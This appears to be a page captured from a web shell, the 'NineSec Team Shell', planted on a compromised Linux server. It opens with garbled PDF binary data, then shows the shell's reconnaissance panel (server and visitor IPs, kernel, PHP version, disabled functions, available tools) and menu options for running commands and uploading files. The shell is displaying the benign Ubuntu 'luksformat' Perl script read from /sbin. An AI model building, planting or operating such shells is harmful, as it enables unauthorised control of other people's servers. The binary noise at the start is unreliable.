%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.213
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /var/../sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //var/../sbin/luksformat
#!/usr/bin/perl -w

# luksformat - wrapper around LUKS-capable cryptsetup and mkfs for easy
# creation of an encrypted device.
#
# (C) 2005 Canonical Ltd.
# Author: Martin Pitt <martin.pitt@ubuntu.com>
# License: GNU General Public License, v2 or any later
# (https://www.gnu.org/copyleft/gpl.html)

use Getopt::Long qw(:config pass_through);

BEGIN {
    eval 'use Locale::gettext';
    if ($@) {
        *gettext = sub { shift };
        *textdomain = sub { "" };
        *LC_MESSAGES = sub { 5 };
    }
    eval {
        require POSIX;
        import POSIX qw(setlocale);
    };
    if ($@) {
        *setlocale = sub { return 1 };
    }
}

setlocale(LC_MESSAGES, "");
textdomain("luksformat");

if ($> != 0) {
    print STDERR gettext("This program needs to be started as root\n");
    exit 1;
}

sub usage() {
    print gettext("luksformat - Create and format an encrypted LUKS device
Usage: luksformat [-t <file system>] <device> [ mkfs options ]\n\n");
    exit 1;
}

# default file system
$fs = 'vfat';
exit 1 unless GetOptions ('t|type=s' => \$fs);

GetOptions ('help', \$help);
if (($#ARGV < 0) || ($help)) {
    usage();
}

$device = shift(@ARGV);

open(MOUNTS, "/proc/mounts");
while (<MOUNTS>) {
    die sprintf(gettext("Error: device mounted: %s\n"), $device) if (/\Q$device\E/)
}

if (-x "/usr/sbin/mkfs.$fs") {
    $mkfs = "/usr/sbin/mkfs.$fs";
}
elsif (-x "/usr/bin/mkfs.$fs") {
    $mkfs = "/usr/bin/mkfs.$fs";
}
elsif (-x "/sbin/mkfs.$fs") {
    $mkfs = "/sbin/mkfs.$fs";
}
elsif (-x "/bin/mkfs.$fs") {
    $mkfs = "/bin/mkfs.$fs";
}
else {
    printf STDERR (gettext("Error: invalid file system: %s\n"), $fs);
    exit 1;
}

# generate temporary mapped device name which is not yet used
$name = "";
for ($i = 1; $i < 100; $i++) {
    if (! -e "/dev/mapper/luksformat$i") {
	$name = "luksformat$i";
	last;
    }
}

$name or die sprintf(gettext("Error: could not generate temporary mapped device name"));

# we do not need to be overly concerned with race conditions here, cryptsetup
# will just fail if the name already exists now.
printf (gettext("Creating encrypted device on %s...\n"), $device);
if ((system 'cryptsetup', 'luksFormat', $device)) {
    die sprintf(gettext("Could not create LUKS device %s"), $device);
}

print gettext("Please enter your passphrase again to verify it\n");
if ((system 'cryptsetup', 'open', '--type', 'luks', $device, $name) != 0) {
    print STDERR gettext("The passphrases you entered were not identical\n");
    exit 1;
}

$result = system $mkfs, "/dev/mapper/$name", @ARGV;
print "\n";
system 'udevadm', 'settle', '--timeout=30';
system 'cryptsetup', 'luksClose', $name;

die sprintf(gettext("Could not format device with file system %s"), $fs) if $result;

__END__

=head1 NAME

luksformat - Create and format an encrypted LUKS device

=head1 SYNOPSIS

B<luksformat> [B<-t> I<fstype>] I<device> [ mkfs options ]

=head1 DESCRIPTION

B<luksformat> is a wrapper around B<cryptsetup> and B<mkfs> which provides an
easy interface for creating an encrypted device that follows the LUKS standard
and for putting a file system onto the encrypted device.

The default file system is B<vfat> since that is most commonly used on
removable devices. However, you can specify any available file system with the
B<-t> option.

=head1 SEE ALSO

L<cryptsetup(8)>, L<mkfs(8)>

=head1 AUTHOR

This program was written by Martin Pitt <martin.pitt@ubuntu.com>.

NineSec Team - 2022